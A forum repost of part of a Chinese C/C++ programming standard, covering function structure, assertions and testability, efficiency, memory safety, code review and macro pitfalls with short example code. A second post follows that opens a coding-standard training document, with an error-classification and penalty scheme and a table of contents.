说明：模块中函数划分的过多，一般会使函数间的接口变得复杂。所以过小的函数，特别 是扇入很低的或功能不明确的函数，不值得单独存在。 &frac12; 6-23：设计高扇入、合理扇出（小于7）的函数。 说明：扇出是指一个函数直接调用（控制）其它函数的数目，而扇入是指有多少上级函数 调用它。 扇出过大，表明函数过分复杂，需要控制和协调过多的下级函数；而扇出过小，如总是1， 表明函数的调用层次可能过多，这样不利程序阅读和函数结构的分析，并且程序运行时会 对系统资源如堆栈空间等造成压力。函数较合理的扇出（调度函数除外）通常是3-5。扇出 太大，一般是由于缺乏中间层次，可适当增加中间层次的函数。扇出太小，可把下级函数 进一步分解多个函数，或合并到上级函数中。当然分解或合并函数时，不能改变要实现的 功能，也不能违背函数间的独立性。 扇入越大，表明使用此函数的上级函数越多，这样的函数使用效率高，但不能违背函数间 的独立性而单纯地追求高扇入。公共模块中的函数及底层函数应该有较高的扇入。 较良好的软件结构通常是顶层函数的扇出较高，中层函数的扇出较少，而底层函数则扇入 到公共模块中。 &frac12; 6-24：减少函数本身或函数间的递归调用。 说明：递归调用特别是函数间的递归调用（如A->B->C->A），影响程序的可理解性；递归 调用一般都占用较多的系统资源（如栈空间）；递归调用对程序的测试有一定影响。故除 非为某些算法或功能的实现方便，应减少没必要的递归调用。 &frac12; 6-25：仔细分析模块的功能及性能需求，并进一步细分，同时若有必要画出有关 数据流图，据此来进行模块的函数划分与组织。 说明：函数的划分与组织是模块的实现过程中很关键的步骤，如何划分出合理的函数结构 ，关系到模块的最终效率和可维护性、可测性等。根据模块的功能图或/及数据流图映射出 函数结构是常用方法之一。 &frac12; 6-26：改进模块中函数的结构，降低函数间的耦合度，并提高函数的独立性以及 代码可读性、效率和可维护性。优化函数结构时，要遵守以下原则： （1）不能影响模块功能的实现。 （2）仔细考查模块或函数出错处理及模块的性能要求并进行完善。 （3）通过分解或合并函数来改进软件结构。 （4）考查函数的规模，过大的要进行分解。 （5）降低函数间接口的复杂度。 （6）不同层次的函数调用要有较合理的扇入、扇出。 （7）函数功能应可预测。 （8）提高函数内聚。（单一功能的函数内聚最高） 说明：对初步划分后的函数结构应进行改进、优化，使之更为合理。 &frac12; 6-27：在多任务操作系统的环境下编程，要注意函数可重入性的构造。 说明：可重入性是指函数可以被多个任务进程调用。在多任务操作系统中，函数是否具有 可重入性是非常重要的，因为这是多个进程可以共用此函数的必要条件。另外，编译器是 否提供可重入函数库，与它所服务的操作系统有关，只有操作系统是多任务时，编译器才 有可能提供可重入函数库。如DOS下BC和MSC等就不具备可重入函数库，因为DOS是单用户单 任务操作系统。 &frac12; 6-28：避免使用BOOL参数。 说明：原因有二，其一是BOOL参数值无意义，TURE/FALSE的含义是非常模糊的，在调用时 很难知道该参数到底传达的是什么意思；其二是BOOL参数值不利于扩充。还有NULL也是一 个无意义的单词。 &frac12; 6-29： 对于提供了返回值的函数，在引用时最好使用其返回值。 &frac12; 6-30：当一个过程（函数）中对较长变量（一般是结构的成员）有较多引用时， 可以用一个意义相当的宏代替。 说明：这样可以增加编程效率和程序的可读性。 示例：在某过程中较多引用TheReceiveBuffer[FirstSocket].byDataPtr， 则可以通过以下宏定义来代替： # define pSOCKDATA TheReceiveBuffer[FirstScoket].byDataPtr 7 可测性 &sup1; 7-1：在同一项目组或产品组内，要有一套统一的为集成测试与系统联调准备的调 测开关及相应打印函数，并且要有详细的说明。 说明：本规则是针对项目组或产品组的。 &sup1; 7-2：在同一项目组或产品组内，调测打印出的信息串的格式要有统一的形式。信 息串中至少要有所在模块名（或源文件名）及行号。 说明：统一的调测信息格式便于集成测试。 &sup1; 7-3：编程的同时要为单元测试选择恰当的测试点，并仔细构造测试代码、测试用 例，同时给出明确的注释说明。测试代码部分应作为（模块中的）一个子模块，以方便测 试代码在模块中的安装与拆卸（通过调测开关）。 说明：为单元测试而准备。 &sup1; 7-4：在进行集成测试/系统联调之前，要构造好测试环境、测试项目及测试用例， 同时仔细分析并优化测试用例，以提高测试效率。 说明：好的测试用例应尽可能模拟出程序所遇到的边界值、各种复杂环境及一些极端情况 等。 &sup1; 7-5：使用断言来发现软件问题，提高代码可测性。 说明：断言是对某种假设条件进行检查（可理解为若条件成立则无动作，否则应报告）， 它可以快速发现并定位软件问题，同时对系统错误进行自动报警。断言可以对在系统中隐 藏很深，用其它手段极难发现的问题进行定位，从而缩短软件问题定位时间，提高系统的 可测性。实际应用时，可根据具体情况灵活地设计断言。 示例：下面是C语言中的一个断言，用宏来设计的。（其中NULL为0L） #ifdef _EXAM_ASSERT_TEST_ // 若使用断言测试 void exam_assert( char * file_name, unsigned int line_no ) { printf( "\n[EXAM]Assert failed: %s, line %u\n", file_name, line_no ); abort( ); } #define EXAM_ASSERT( condition ) if (condition) // 若条件成立，则无动作 NULL; else // 否则报告 exam_assert( __FILE__, __LINE__ ) #else // 若不使用断言测试 #define EXAM_ASSERT(condition) NULL #endif /* end of ASSERT */ &sup1; 7-6：用断言来检查程序正常运行时不应发生但在调测时有可能发生的非法情况。 &sup1; 7-7：不能用断言来检查最终产品肯定会出现且必须处理的错误情况。 说明：断言是用来处理不应该发生的错误情况的，对于可能会发生的且必须处理的情况要 写防错程序，而不是断言。如某模块收到其它模块或链路上的消息后，要对消息的合理性 进行检查，此过程为正常的错误检查，不能用断言来实现。 &sup1; 7-8：对较复杂的断言加上明确的注释。 说明：为复杂的断言加注释，可澄清断言含义并减少不必要的误用。 &sup1; 7-9：用断言确认函数的参数。 示例：假设某函数参数中有一个指针，那么使用指针前可对它检查，如下。 int exam_fun( unsigned char *str ) { EXAM_ASSERT( str != NULL ); // 用断言检查“假设指针不为空”这个条件 ... //other program code } &sup1; 7-10：用断言保证没有定义的特性或功能不被使用。 示例：假设某通信模块在设计时，准备提供“无连接”和“连接” 这两种业务。但当前的 版本中仅实现了“无连接”业务，且在此版本的正式发行版中，用户（上层模块）不应产 生“连接”业务的请求，那么在测试时可用断言检查用户是否使用“连接”业务。如下。 #define EXAM_CONNECTIONLESS 0 // 无连接业务 #define EXAM_CONNECTION 1 // 连接业务 int msg_process( EXAM_MESSAGE *msg ) { unsigned char service; /* message service class */ EXAM_ASSERT( msg != NULL ); service = get_msg_service_class( msg ); EXAM_ASSERT( service != EXAM_CONNECTION ); // 假设不使用连接业务 ... //other program code } &sup1; 7-11：用断言对程序开发环境（OS/Compiler/Hardware）的假设进行检查。 说明：程序运行时所需的软硬件环境及配置要求，不能用断言来检查，而必须由一段专门 代码处理。用断言仅可对程序开发环境中的假设及所配置的某版本软硬件是否具有某种功 能的假设进行检查。如某网卡是否在系统运行环境中配置了，应由程序中正式代码来检查 ；而此网卡是否具有某设想的功能，则可由断言来检查。 对编译器提供的功能及特性假设可用断言检查，原因是软件最终产品（即运行代码或机器 码）与编译器已没有任何直接关系，即软件运行过程中（注意不是编译过程中）不会也不 应该对编译器的功能提出任何需求。 示例：用断言检查编译器的int型数据占用的内存空间是否为2，如下。 EXAM_ASSERT( sizeof( int ) == 2 ); &sup1; 7-12：正式软件产品中应把断言及其它调测代码去掉（即把有关的调测开关关掉） 。 说明：加快软件运行速度。 &sup1; 7-13：在软件系统中设置与取消有关测试手段，不能对软件实现的功能等产生影响 。 说明：即有测试代码的软件和关掉测试代码的软件，在功能行为上应一致。 &sup1; 7-14：用调测开关来切换软件的DEBUG版和正式版，而不要同时存在正式版本和DE BUG版本的不同源文件，以减少维护的难度。 &sup1; 7-15：软件的DEBUG版本和发行版本应该统一维护，不允许分家，并且要时刻注意 保证两个版本在实现功能上的一致性。 &frac12; 7-1：在编写代码之前，应预先设计好程序调试与测试的方法和手段，并设计好 各种调测开关及相应测试代码如打印函数等。 说明：程序的调试与测试是软件生存周期中很重要的一个阶段，如何对软件进行较全面、 高率的测试并尽可能地找出软件中的错误就成为很关键的问题。因此在编写源代码之前， 除了要有一套比较完善的测试计划外，还应设计出一系列代码测试手段，为单元测试、集 成测试及系统联调提供方便。 &frac12; 7-2：调测开关应分为不同级别和类型。 说明：调测开关的设置及分类应从以下几方面考虑：针对模块或系统某部分代码的调测； 针对模块或系统某功能的调测；出于某种其它目的，如对性能、容量等的测试。这样做便 于软件功能的调测，并且便于模块的单元测试、系统联调等。 &frac12; 7-3：编写防错程序，然后在处理错误之后可用断言宣布发生错误。 示例：假如某模块收到通信链路上的消息，则应对消息的合法性进行检查，若消息类别不 是通信协议中规定的，则应进行出错处理，之后可用断言报告，如下例。 #ifdef _EXAM_ASSERT_TEST_ // 若使用断言测试 /* Notice: this function does not call 'abort' to exit program */ void assert_report( char * file_name, unsigned int line_no ) { printf( "\n[EXAM]Error Report: %s, line %u\n", file_name, line_no ); } #define ASSERT_REPORT( condition ) if ( condition ) // 若条件成立，则无动作 NULL; else // 否则报告 assert_report ( __FILE__, __LINE__ ) #else // 若不使用断言测试 #define ASSERT_REPORT( condition ) NULL #endif /* end of ASSERT */ int msg_handle( unsigned char msg_name, unsigned char * msg ) { switch( msg_name ) { case MSG_ONE: ... // 消息MSG_ONE处理 return MSG_HANDLE_SUCCESS; ... // 其它合法消息处理 default: ... // 消息出错处理 ASSERT_REPORT( FALSE ); // “合法”消息不成立，报告 return MSG_HANDLE_ERROR; } } 8 程序效率 &sup1; 8-1：编程时要经常注意代码的效率。 说明：代码效率分为全局效率、局部效率、时间效率及空间效率。全局效率是站在整个系 统的角度上的系统效率；局部效率是站在模块或函数角度上的效率；时间效率是程序处理 输入任务所需的时间长短；空间效率是程序所需内存空间，如机器代码空间大小、数据空 间大小、栈空间大小等。 &sup1; 8-2：在保证软件系统的正确性、稳定性、可读性及可测性的前提下，提高代码效 率。 说明：不能一味地追求代码效率，而对软件的正确性、稳定性、可读性及可测性造成影响 。 &sup1; 8-3：局部效率应为全局效率服务，不能因为提高局部效率而对全局效率造成影响 。 &sup1; 8-4：通过对系统数据结构的划分与组织的改进，以及对程序算法的优化来提高空 间效率。 说明：这种方式是解决软件空间效率的根本办法。 示例：如下记录学生学习成绩的结构不合理。 typedef unsigned char BYTE; typedef unsigned short WORD; typedef struct STUDENT_SCORE_STRU BYTE name[8]; BYTE age; BYTE sex; BYTE class; BYTE subject; float score; } STUDENT_SCORE; 因为每位学生都有多科学习成绩，故如上结构将占用较大空间。应如下改进（分为两个结 构），总的存贮空间将变小，操作也变得更方便。 typedef struct STUDENT_STRU { BYTE name[8]; BYTE age; BYTE sex; BYTE class; } STUDENT; typedef struct STUDENT_SCORE_STRU { WORD student_index; BYTE subject; float score; } STUDENT_SCORE; &sup1; 8-5：循环体内工作量最小化。 说明：应仔细考虑循环体内的语句是否可以放在循环体之外，使循环体内工作量最小，从 而提高程序的时间效率。 示例：如下代码效率不高。 for (ind = 0; ind < MAX_ADD_NUMBER; ind++) { sum += ind; back_sum = sum; /* backup sum */ } 语句“back_sum = sum;”完全可以放在for语句之后，如下。 for (ind = 0; ind < MAX_ADD_NUMBER; ind++) { sum += ind; } back_sum = sum; /* backup sum */ &frac12; 8-1：仔细分析有关算法，并进行优化。 &frac12; 8-2：仔细考查、分析系统及模块处理输入（如事务、消息等）的方式，并加以 改进。 &frac12; 8-3：对模块中函数的划分及组织方式进行分析、优化，改进模块中函数的组织 结构，提高程序效率。 说明：软件系统的效率主要与算法、处理任务方式、系统功能及函数结构有很大关系，仅 在代码上下功夫一般不能解决根本问题。 &frac12; 8-4：编程时，要随时留心代码效率；优化代码时，要考虑周全。 &frac12; 8-5：不应花过多的时间拼命地提高调用不很频繁的函数代码效率。 说明：对代码优化可提高效率，但若考虑不周很有可能引起严重后果。 &frac12; 8-6：要仔细地构造或直接用汇编编写调用频繁或性能要求极高的函数。 说明：只有对编译系统产生机器码的方式以及硬件系统较为熟悉时，才可使用汇编嵌入方 式。嵌入汇编可提高时间及空间效率，但也存在一定风险。 &frac12; 8-7：在保证程序质量的前提下，通过压缩代码量、去掉不必要代码以及减少不 必要的局部和全局变量，来提高空间效率。 说明：这种方式对提高空间效率可起到一定作用，但往往不能解决根本问题。 &frac12; 8-8：在多重循环中，应将最忙的循环放在最内层。 说明：减少CPU切入循环层的次数。 示例：如下代码效率不高。 for (row = 0; row < 100; row++) { for (col = 0; col < 5; col++) { sum += a[row][col]; } } 可以改为如下方式，以提高效率。 for (col = 0; col < 5; col++) { for (row = 0; row < 100; row++) { sum += a[row][col]; } } &frac12; 8-9：尽量减少循环嵌套层次。 &frac12; 8-10：避免循环体内含判断语句，应将循环语句置于判断语句的代码块之中。 说明：目的是减少判断次数。循环体中的判断语句是否可以移到循环体外，要视程序的具 体情况而言，一般情况，与循环变量无关的判断语句可以移到循环体外，而有关的则不可 以。 示例：如下代码效率稍低。 for (ind = 0; ind < MAX_RECT_NUMBER; ind++) { if (data_type == RECT_AREA) { area_sum += rect_area[ind]; } else { rect_length_sum += rect[ind].length; rect_width_sum += rect[ind].width; } } 因为判断语句与循环变量无关，故可如下改进，以减少判断次数。 if (data_type == RECT_AREA) { for (ind = 0; ind < MAX_RECT_NUMBER; ind++) { area_sum += rect_area[ind]; } } else { for (ind = 0; ind < MAX_RECT_NUMBER; ind++) { rect_length_sum += rect[ind].length; rect_width_sum += rect[ind].width; } } &frac12; 8-11：尽量用乘法或其它方法代替除法，特别是浮点运算中的除法。 说明：浮点运算除法要占用较多CPU资源。 示例：如下表达式运算可能要占较多CPU资源。 #define PAI 3.1416 radius = circle_length / (2 * PAI); 应如下把浮点除法改为浮点乘法。 #define PAI_RECIPROCAL (1 / 3.1416 ) // 编译器编译时，将生成具体浮点数 radius = circle_length * PAI_RECIPROCAL / 2; &frac12; 8-12：不要一味追求紧凑的代码。 说明：因为紧凑的代码并不代表高效的机器码。 9 质量保证 &sup1; 9-1：在软件设计过程中构筑软件质量。 &sup1; 9-2：代码质量保证优先原则 （1）正确性，指程序要实现设计要求的功能。 （2）稳定性、安全性，指程序稳定、可靠、安全。 （3）可测试性，指程序要具有良好的可测试性。 （4）规范/可读性，指程序书写风格、命名规则等要符合规范。 （5）全局效率，指软件系统的整体效率。 （6）局部效率，指某个模块/子模块/函数的本身效率。 （7）个人表达方式/个人方便性，指个人编程习惯。 &sup1; 9-3：只引用属于自己的存贮空间。 说明：若模块封装的较好，那么一般不会发生非法引用他人的空间。 &sup1; 9-4：防止引用已经释放的内存空间。 说明：在实际编程过程中，稍不留心就会出现在一个模块中释放了某个内存块（如C语言指 针），而另一模块在随后的某个时刻又使用了它。要防止这种情况发生。 &sup1; 9-5：过程/函数中分配的内存，在过程/函数退出之前要释放。 &sup1; 9-6：过程/函数中申请的（为打开文件而使用的）文件句柄，在过程/函数退出之 前要关闭。 说明：分配的内存不释放以及文件句柄不关闭，是较常见的错误，而且稍不注意就有可能 发生。这类错误往往会引起很严重后果，且难以定位。 示例：下函数在退出之前，没有把分配的内存释放。 typedef unsigned char BYTE; int example_fun( BYTE gt_len, BYTE *gt_code ) { BYTE *gt_buf; gt_buf = (BYTE *) malloc (MAX_GT_LENGTH); ... //program code, include check gt_buf if or not NULL. /* global title length error */ if (gt_len > MAX_GT_LENGTH) { return GT_LENGTH_ERROR; // 忘了释放gt_buf } ... // other program code } 应改为如下。 int example_fun( BYTE gt_len, BYTE *gt_code ) { BYTE *gt_buf; gt_buf = (BYTE * ) malloc ( MAX_GT_LENGTH ); ... // program code, include check gt_buf if or not NULL. /* global title length error */ if (gt_len > MAX_GT_LENGTH) { free( gt_buf ); // 退出之前释放gt_buf return GT_LENGTH_ERROR; } ... // other program code } &sup1; 9-7：防止内存操作越界。 说明：内存操作主要是指对数组、指针、内存地址等的操作。内存操作越界是软件系统主 要错误之一，后果往往非常严重，所以当我们进行这些操作时一定要仔细小心。 示例：假设某软件系统最多可由10个用户同时使用，用户号为1-10，那么如下程序存在问 题。 #define MAX_USR_NUM 10 unsigned char usr_login_flg[MAX_USR_NUM]= ""; void set_usr_login_flg( unsigned char usr_no ) { if (!usr_login_flg[usr_no]) { usr_login_flg[usr_no]= TRUE; } } 当usr_no为10时，将使用usr_login_flg越界。可采用如下方式解决。 void set_usr_login_flg( unsigned char usr_no ) { if (!usr_login_flg[usr_no - 1]) { usr_login_flg[usr_no - 1]= TRUE; } } &sup1; 9-8：认真处理程序所能遇到的各种出错情况。 &sup1; 9-9：系统运行之初，要初始化有关变量及运行环境，防止未经初始化的变量被引 用。 &sup1; 9-10：系统运行之初，要对加载到系统中的数据进行一致性检查。 说明：使用不一致的数据，容易使系统进入混乱状态和不可知状态。 &sup1; 9-11：严禁随意更改其它模块或系统的有关设置和配置。 说明：编程时，不能随心所欲地更改不属于自己模块的有关设置如常量、数组的大小等。 &sup1; 9-12：不能随意改变与其它模块的接口。 &sup1; 9-13：充分了解系统的接口之后，再使用系统提供的功能。 示例：在B型机的各模块与操作系统的接口函数中，有一个要由各模块负责编写的初始化过 程，此过程在软件系统加载完成后，由操作系统发送的初始化消息来调度。因此就涉及到 初始化消息的类型与消息发送的顺序问题，特别是消息顺序，若没搞清楚就开始编程，很 容易引起严重后果。以下示例引自B型曾出现过的实际代码，其中使用了FID_FETCH_DATA与 FID_INITIAL初始化消息类型，注意B型机的系统是在FID_FETCH_DATA之前发送FID_INITIA L的。 MID alarm_module_list[MAX_ALARM_MID]; int FAR SYS_ALARM_proc( FID function_id, int handle ) { _UI i, j; switch ( function_id ) { ... // program code case FID_INITAIL: for (i = 0; i < MAX_ALARM_MID; i++) { if (alarm_module_list[i]== BAM_MODULE // **） || (alarm_module_list[i]== LOCAL_MODULE) { for (j = 0; j < ALARM_CLASS_SUM; j++) { FAR_MALLOC( ... ); } } } ... // program code break; case FID_FETCH_DATA: ... // program code Get_Alarm_Module( ); // 初始化alarm_module_list break; ... // program code } } 由于FID_INITIAL是在FID_FETCH_DATA之前执行的，而初始化alarm_module_list是在FID_ FETCH_DATA中进行的，故在FID_INITIAL中（**）处引用alarm_module_list变量时，它还 没有被初始化。这是个严重错误。 应如下改正：要么把Get_Alarm_Module函数放在FID_INITIAL中（**）之前；要么就必须考 虑（**）处的判断语句是否可以用（不使用alarm_module_list变量的）其它方式替代，或 者是否可以取消此判断语句。 &sup1; 9-14：编程时，要防止差1错误。 说明：此类错误一般是由于把“<=”误写成“<”或“>=”误写成“>”等造成的，由此引 起的后果，很多情况下是很严重的，所以编程时，一定要在这些地方小心。当编完程序后 ，应对这些操作符进行彻底检查。 &sup1; 9-15：要时刻注意易混淆的操作符。当编完程序后，应从头至尾检查一遍这些操作 符，以防止拼写错误。 说明：形式相近的操作符最容易引起误用，如C/C++中的“=”与“==”、“|”与“||”、 “&”与“&&”等，若拼写错了，编译器不一定能够检查出来。 示例：如把“&”写成“&&”，或反之。 ret_flg = (pmsg->ret_flg & RETURN_MASK); 被写为： ret_flg = (pmsg->ret_flg && RETURN_MASK); rpt_flg = (VALID_TASK_NO( taskno ) && DATA_NOT_ZERO( stat_data )); 被写为： rpt_flg = (VALID_TASK_NO( taskno ) & DATA_NOT_ZERO( stat_data )); &sup1; 9-16：有可能的话，if语句尽量加上else分支，对没有else分支的语句要小心对待 ；switch语句必须有default分支。 &sup1; 9-17：Unix下，多线程的中的子线程退出必需采用主动退出方式，即子线程应ret urn出口。 &sup1; 9-18：不要滥用goto语句。 说明：goto语句会破坏程序的结构性，所以除非确实需要，最好不使用goto语句。 &frac12; 9-1：不使用与硬件或操作系统关系很大的语句，而使用建议的标准语句，以提 高软件的可移植性和可重用性。 &frac12; 9-2：除非为了满足特殊需求，避免使用嵌入式汇编。 说明：程序中嵌入式汇编，一般都对可移植性有较大的影响。 &frac12; 9-3：精心地构造、划分子模块，并按“接口”部分及“内核”部分合理地组织 子模块，以提高“内核”部分的可移植性和可重用性。 说明：对不同产品中的某个功能相同的模块，若能做到其内核部分完全或基本一致，那么 无论对产品的测试、维护，还是对以后产品的升级都会有很大帮助。 &frac12; 9-4：精心构造算法，并对其性能、效率进行测试。 &frac12; 9-5：对较关键的算法最好使用其它算法来确认。 &frac12; 9-6：时刻注意表达式是否会上溢、下溢。 示例：如下程序将造成变量下溢。 unsigned char size ; while (size-- >= 0) // 将出现下溢 { ... // program code } 当size等于0时，再减1不会小于0，而是0xFF，故程序是一个死循环。应如下修改。 char size; // 从unsigned char 改为char while (size-- >= 0) { ... // program code } &frac12; 9-7：使用变量时要注意其边界值的情况。 示例：如C语言中字符型变量，有效值范围为-128到127。故以下表达式的计算存在一定风 险。 char chr = 127; int sum = 200; chr += 1; // 127为chr的边界值，再加1将使chr上溢到-128，而不是128。 sum += chr; // 故sum的结果不是328，而是72。 若chr与sum为同一种类型，或表达式按如下方式书写，可能会好些。 sum = sum + chr + 1; &frac12; 9-8：留心程序机器码大小（如指令空间大小、数据空间大小、堆栈空间大小等 ）是否超出系统有关限制。 &frac12; 9-9：为用户提供良好的接口界面，使用户能较充分地了解系统内部运行状态及 有关系统出错情况。 &frac12; 9-10：系统应具有一定的容错能力，对一些错误事件（如用户误操作等）能进行 自动补救。 &frac12; 9-11：对一些具有危险性的操作代码（如写硬盘、删数据等）要仔细考虑，防止 对数据、硬件等的安全构成危害，以提高系统的安全性。 &frac12; 9-12：使用第三方提供的软件开发工具包或控件时，要注意以下几点： （1）充分了解应用接口、使用环境及使用时注意事项。 （2）不能过分相信其正确性。 （3）除非必要，不要使用不熟悉的第三方工具包与控件。 说明：使用工具包与控件，可加快程序开发速度，节省时间，但使用之前一定对它有较充 分的了解，同时第三方工具包与控件也有可能存在问题。 &frac12; 9-13：资源文件（多语言版本支持），如果资源是对语言敏感的，应让该资源与 源代码文件脱离，具体方法有下面几种：使用单独的资源文件、DLL文件或其它单独的描述 文件（如数据库格式） 10 代码编辑、编译、审查 &sup1; 10-1：打开编译器的所有告警开关对程序进行编译。 &sup1; 10-2：在产品软件（项目组）中，要统一编译开关选项。 &sup1; 10-3：通过代码走读及审查方式对代码进行检查。 说明：代码走读主要是对程序的编程风格如注释、命名等以及编程时易出错的内容进行检 查，可由开发人员自己或开发人员交叉的方式进行；代码审查主要是对程序实现的功能及 程序的稳定性、安全性、可靠性等进行检查及评审，可通过自审、交叉审核或指定部门抽 查等方式进行。 &sup1; 10-4：测试部测试产品之前，应对代码进行抽查及评审。 &frac12; 10-1：编写代码时要注意随时保存，并定期备份，防止由于断电、硬盘损坏等原 因造成代码丢失。 &frac12; 10-2：同产品软件（项目组）内，最好使用相同的编辑器，并使用相同的设置选 项。 说明：同一项目组最好采用相同的智能语言编辑器，如Muiti Editor，Visual Editor等， 并设计、使用一套缩进宏及注释宏等，将缩进等问题交由编辑器处理。 &frac12; 10-3：要小心地使用编辑器提供的块拷贝功能编程。 说明：当某段代码与另一段代码的处理功能相似时，许多开发人员都用编辑器提供的块拷 贝功能来完成这段代码的编写。由于程序功能相近，故所使用的变量、采用的表达式等在 功能及命名上可能都很相近，所以使用块拷贝时要注意，除了修改相应的程序外，一定要 把使用的每个变量仔细查看一遍，以改成正确的。不应指望编译器能查出所有这种错误， 比如当使用的是全局变量时，就有可能使某种错误隐藏下来。 &frac12; 10-4：合理地设计软件系统目录，方便开发人员使用。 说明：方便、合理的软件系统目录，可提高工作效率。目录构造的原则是方便有关源程序 的存储、查询、编译、链接等工作，同时目录中还应具有工作目录----所有的编译、链接 等工作应在此目录中进行，工具目录----有关文件编辑器、文件查找等工具可存放在此目 录中。 &frac12; 10-5：某些语句经编译后产生告警，但如果你认为它是正确的，那么应通过某种 手段去掉告警信息。 说明：在Borland C/C++中，可用“#pragma warn”来关掉或打开某些告警。 示例： #pragma warn -rvl // 关闭告警 int examples_fun( void ) { // 程序，但无return语句。 } #pragma warn +rvl // 打开告警 编译函数examples_fun时本应产生“函数应有返回值”告警，但由于关掉了此告警信息显 示，所以编译时将不会产生此告警提示。 &frac12; 10-6：使用代码检查工具（如C语言用PC-Lint）对源程序检查。 &frac12; 10-7：使用软件工具（如 LogiSCOPE）进行代码审查。 11 代码测试、维护 &sup1; 11-1：单元测试要求至少达到语句覆盖。 &sup1; 11-2：单元测试开始要跟踪每一条语句，并观察数据流及变量的变化。 &sup1; 11-3：清理、整理或优化后的代码要经过审查及测试。 &sup1; 11-4：代码版本升级要经过严格测试。 &sup1; 11-5：使用工具软件对代码版本进行维护。 &sup1; 11-6：正式版本上软件的任何修改都应有详细的文档记录。 &frac12; 11-1：发现错误立即修改，并且要记录下来。 &frac12; 11-2：关键的代码在汇编级跟踪。 &frac12; 11-3：仔细设计并分析测试用例，使测试用例覆盖尽可能多的情况，以提高测试 用例的效率。 &frac12; 11-4：尽可能模拟出程序的各种出错情况，对出错处理代码进行充分的测试。 &frac12; 11-5：仔细测试代码处理数据、变量的边界情况。 &frac12; 11-6：保留测试信息，以便分析、总结经验及进行更充分的测试。 &frac12; 11-7：不应通过“试”来解决问题，应寻找问题的根本原因。 &frac12; 11-8：对自动消失的错误进行分析，搞清楚错误是如何消失的。 &frac12; 11-9：修改错误不仅要治表，更要治本。 &frac12; 11-10：测试时应设法使很少发生的事件经常发生。 &frac12; 11-11：明确模块或函数处理哪些事件，并使它们经常发生。 &frac12; 11-12： 坚持在编码阶段就对代码进行彻底的单元测试，不要等以后的测试工作 来发现问题。 &frac12; 11-13：去除代码运行的随机性（如去掉无用的数据、代码及尽可能防止并注意 函数中的“内部寄存器”等），让函数运行的结果可预测，并使出现的错误可再现。 12 宏 &sup1; 12-1：用宏定义表达式时，要使用完备的括号。 示例：如下定义的宏都存在一定的风险。 #define RECTANGLE_AREA( a, b ) a * b #define RECTANGLE_AREA( a, b ) (a * b) #define RECTANGLE_AREA( a, b ) (a) * (b) 正确的定义应为： #define RECTANGLE_AREA( a, b ) ((a) * (b)) &sup1; 12-2:将宏所定义的多条表达式放在大括号中。 示例：下面的语句只有宏的第一条表达式被执行。为了说明问题，for语句的书写稍不符规 范。 #define INTI_RECT_VALUE( a, b )\ a = 0;\ b = 0; for (index = 0; index < RECT_TOTAL_NUM; index++) INTI_RECT_VALUE( rect.a, rect.b ); 正确的用法应为： #define INTI_RECT_VALUE( a, b )\ {\ a = 0;\ b = 0;\ } for (index = 0; index < RECT_TOTAL_NUM; index++) { INTI_RECT_VALUE( rect[index].a, rect[index].b ); } &sup1; 12-3:使用宏时，不允许参数发生变化。 示例：如下用法可能导致错误。 #define SQUARE( a ) ((a) * (a)) int a = 5; int b; b = SQUARE( a++ ); // 结果：a = 7，即执行了两次增1。 正确的用法是： b = SQUARE( a ); a++; // 结果：a = 6，即只执行了一次增1。 _ -- ※ 来源:·日月光华 bbs.fudan.edu.cn·HTTP [FROM: 10.11.12.192] -- ※ 来源:·日月光华 bbs.fudan.edu.cn·HTTP [FROM: 10.11.12.192] ※ 修改:·huahero 於 03月11日10:59:37 修改本文·[FROM: 10.85.7.77] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 10.100.131.108] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]软件编程规范培训实例与练习 发信站: 日月光华 (2003年04月20日22:40:14 星期天), 站内信件 【 以下文字转载自 FDU_C.S. 讨论区 】 【 原文由 fdchosen 所发表 】 软件编程规范培训实例与练习 &#376; 问题分类 1 逻辑类问题（A类）－指设计、编码中出现的计算正确性和一致性、程序逻辑控制 等方面出现的问题，在系统中起关键作用，将导致软件死机、功能正常实现等严重问题； 接口类问题（B类）－指设计、编码中出现的函数和环境、其他函数、全局/局部变 量或数据变量之间的数据/控制传输不匹配的问题，在系统中起重要作用，将导致模块间配 合失效等严重问题； 维护类问题（C类）－指设计、编码中出现的对软件系统的维护方便程度造成影响的 问题，在系统中不起关键作用，但对系统后期维护造成不便或导致维护费用上升； 可测试性问题（D类）－指设计、编码中因考虑不周而导致后期系统可测试性差的问 题。 &#376; 处罚办法 问题发生率： P=D/S D=DA+0.5DB+0.25DC 其中： P －问题发生率 D －1个季度内错误总数 DA －1个季度内A类错误总数 DB －1个季度内B类错误总数 DC －1个季度内C类错误总数 S －1个季度内收到问题报告单总数 1）当D≥3时，如果P≥3％，将进行警告处理，并予以公告； 2）当D≥5时，如果P≥5％，将进行罚款处理，并予以公告。 目 录 一、逻辑类代码问题 第5页 1、变量/指针在使用前就必须初始化 第5页 【案例1.1.1】 第5页 2、防止指针/数组操作越界 第5页 【案例1.2.1】 第5页 【案例1.2.2】 第6页 【案例1.2.3】 第7页 【案例1.2.4】 第8页 3、避免指针的非法引用 第9页 【案例1.3.1】 第9页 4、变量类型定义错误 第10页 【案例1.4.1】 第10页 5、正确使用逻辑与&&、屏蔽&操作符 第17页 【案例1.5.1】 第17页 6、注意数据类型的匹配 第18页 【案例1.6.1】 第18页 【案例1.6.2】 第18页 7、用于控制条件转移的表达式及取值范围是否书写正确 第20页 【案例1.7.1】 第20页 【案例1.7.2】 第21页 【案例1.7.3】 第22页 8、条件分支处理是否有遗漏 第24页 【案例1.8.1】 第24页 9、引用已释放的资源 第26页 【案例1.9.1】 第26页 10、分配资源是否已正确释放 第28页 【案例1.10.1】 第28页 【案例1.10.2】 第29页 【案例1.10.3】 第30页 【案例1.10.4】 第32页 【案例1.10.5】 第33页 【案例1.10.6】 第35页 【案例1.10.7】 第38页 11、防止资源的重复释放 第39页 【案例1.11.1】 第39页 12、公共资源的互斥性和竞用性 第40页 【案例1.12.1】 第40页 【案例1.12.2】 第40页 二、接口类代码问题 第43页 1、对函数参数进行有效性检查 第43页 【案例2.1.1】 第43页 【案例2.1.2】 第43页 【案例2.1.3】 第44页 【案例2.1.4】 第46页 【案例2.1.5】 第47页 【案例2.1.6】 第48页 2、注意多出口函数的处理 第49页 【案例2.2.1】 第49页 三、维护类代码问题 第51页 1、 统一枚举类型的使用 第51页 【案例3.1.1】 第51页 2、 注释量至少占代码总量的20％ 第51页 【案例3.2.1】对XXX产品BAM某版本部分代码注释量的统计 第51页 